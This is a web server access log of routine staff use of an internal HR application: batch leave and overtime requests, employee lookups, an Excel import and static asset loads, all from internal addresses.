192.168.11.68 - - [06/Sep/2025:08:37:11 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.68 - - [06/Sep/2025:08:37:11 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:37:11 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.68 - - [06/Sep/2025:08:37:11 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:37:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8381 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:37:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8381
192.168.11.64 - - [06/Sep/2025:08:37:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 23019
192.168.11.64 - - [06/Sep/2025:08:37:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 23019 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.68 - - [06/Sep/2025:08:37:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.68 - - [06/Sep/2025:08:37:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:37:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [06/Sep/2025:08:37:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:37:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11209 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:37:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11209
192.168.11.68 - - [06/Sep/2025:08:37:56 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.11.68 - - [06/Sep/2025:08:37:56 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:38:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.68 - - [06/Sep/2025:08:38:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:38:17 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242
192.168.11.68 - - [06/Sep/2025:08:38:17 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [06/Sep/2025:08:38:23 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:08:38:23 +0800] "GET / HTTP/1.1" 200 439
192.168.11.68 - - [06/Sep/2025:08:38:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2959352590041514 HTTP/1.1" 200 8988
192.168.11.68 - - [06/Sep/2025:08:38:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2959352590041514 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [06/Sep/2025:08:38:56 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:08:38:56 +0800] "GET / HTTP/1.1" 200 439
192.168.11.68 - - [06/Sep/2025:08:39:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2959352590041514 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2959352590041514" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:39:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2959352590041514 HTTP/1.1" 200 27500
192.168.11.68 - - [06/Sep/2025:08:39:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:39:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201
192.168.11.68 - - [06/Sep/2025:08:39:26 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.11.68 - - [06/Sep/2025:08:39:26 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:39:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [06/Sep/2025:08:39:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:39:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:39:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [06/Sep/2025:08:39:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [06/Sep/2025:08:39:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:39:39 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.0006736780350253824 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:39:39 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.0006736780350253824 HTTP/1.1" 200 5264
192.168.11.64 - - [06/Sep/2025:08:39:47 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.0006736780350253824 HTTP/1.1" 302 -
192.168.11.64 - - [06/Sep/2025:08:39:47 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.0006736780350253824 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.0006736780350253824" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:39:48 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4513
192.168.11.64 - - [06/Sep/2025:08:39:48 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4513 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.0006736780350253824" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:39:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4306 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:39:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4306
192.168.11.64 - - [06/Sep/2025:08:39:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:39:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [06/Sep/2025:08:40:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.027322628128207183 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:40:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.027322628128207183 HTTP/1.1" 200 8988
192.168.11.64 - - [06/Sep/2025:08:40:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [06/Sep/2025:08:40:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:40:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:40:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [06/Sep/2025:08:40:02 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.027322628128207183 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.027322628128207183" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:40:02 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.027322628128207183 HTTP/1.1" 200 27500
192.168.11.64 - - [06/Sep/2025:08:40:14 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9080263876913475 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:40:14 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9080263876913475 HTTP/1.1" 200 13560
192.168.11.64 - - [06/Sep/2025:08:40:20 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9080263876913475 HTTP/1.1" 200 15732 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9080263876913475" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:40:20 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9080263876913475 HTTP/1.1" 200 15732
192.168.11.64 - - [06/Sep/2025:08:40:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4064
192.168.11.64 - - [06/Sep/2025:08:40:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4064 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:40:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:40:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [06/Sep/2025:08:40:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [06/Sep/2025:08:40:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:40:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:40:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [06/Sep/2025:08:41:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:41:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069
192.168.11.68 - - [06/Sep/2025:08:41:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:41:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [06/Sep/2025:08:41:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:41:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [06/Sep/2025:08:41:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:41:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [06/Sep/2025:08:41:39 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.12599134018122338 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:41:39 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.12599134018122338 HTTP/1.1" 200 5264
192.168.11.64 - - [06/Sep/2025:08:41:47 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.12599134018122338 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.12599134018122338" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:41:47 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.12599134018122338 HTTP/1.1" 302 -
192.168.11.64 - - [06/Sep/2025:08:41:48 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5700
192.168.11.64 - - [06/Sep/2025:08:41:48 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5700 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.12599134018122338" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:41:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5247 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:41:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5247
192.168.11.64 - - [06/Sep/2025:08:41:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:41:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [06/Sep/2025:08:42:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47632166459469094 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:42:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47632166459469094 HTTP/1.1" 200 8988
192.168.11.64 - - [06/Sep/2025:08:42:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:42:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
